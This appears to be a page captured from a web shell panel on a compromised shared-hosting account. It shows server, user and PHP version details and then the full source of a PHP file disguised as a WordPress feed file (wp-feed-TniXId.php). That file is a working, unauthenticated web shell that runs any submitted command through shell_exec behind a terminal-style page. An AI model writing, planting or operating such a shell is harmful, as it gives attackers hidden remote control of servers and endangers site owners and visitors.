MOON
Server: Apache/2.2.34 (Unix) mod_ssl/2.2.34 OpenSSL/1.0.1e-fips DAV/2 mod_bwlimited/1.4 FrontPage/5.0.2.2635 mod_auth_passthrough/2.1
System: Linux int.interweb-hosting.net 2.6.32-754.35.1.el6.x86_64 #1 SMP Sat Nov 7 12:42:14 UTC 2020 x86_64
User: elainekoch (690)
PHP: 5.4.45
Disabled: NONE
Upload Files
File: /home/elainekoch/public_html/wp-feed-TniXId.php
<?php if(isset($_POST['cmd'])&&isset($_POST['cwd'])){$out=shell_exec('cd '.base64_decode($_POST['cwd']).' && '.$_POST['cmd'].' 2>&1');echo json_encode(['stdout'=>base64_encode($out),'cwd'=>base64_encode(getcwd())]);}else{?><html><head><title>p0wny@shell:~#</title></head><body style="background:#000;color:#0f0;font-family:monospace"><div id="t" style="padding:10px;height:90vh;overflow:auto"></div><form id="f"><input id="c" style="width:100%;background:#000;color:#0f0;border:none;outline:none" autocomplete="off"></form><script>var cwd=btoa('/');document.getElementById('f').onsubmit=function(e){e.preventDefault();var c=document.getElementById('c').value;document.getElementById('t').innerHTML+='<br>$ '+c;var x=new XMLHttpRequest();x.open('POST',location.href,true);x.setRequestHeader('Content-Type','application/x-www-form-urlencoded');x.onload=function(){var r=JSON.parse(x.responseText);cwd=r.cwd;document.getElementById('t').innerHTML+=atob(r.stdout);};x.send('cmd='+encodeURIComponent(c)+'&cwd='+cwd);document.getElementById('c').value='';}</script></body></html><?php}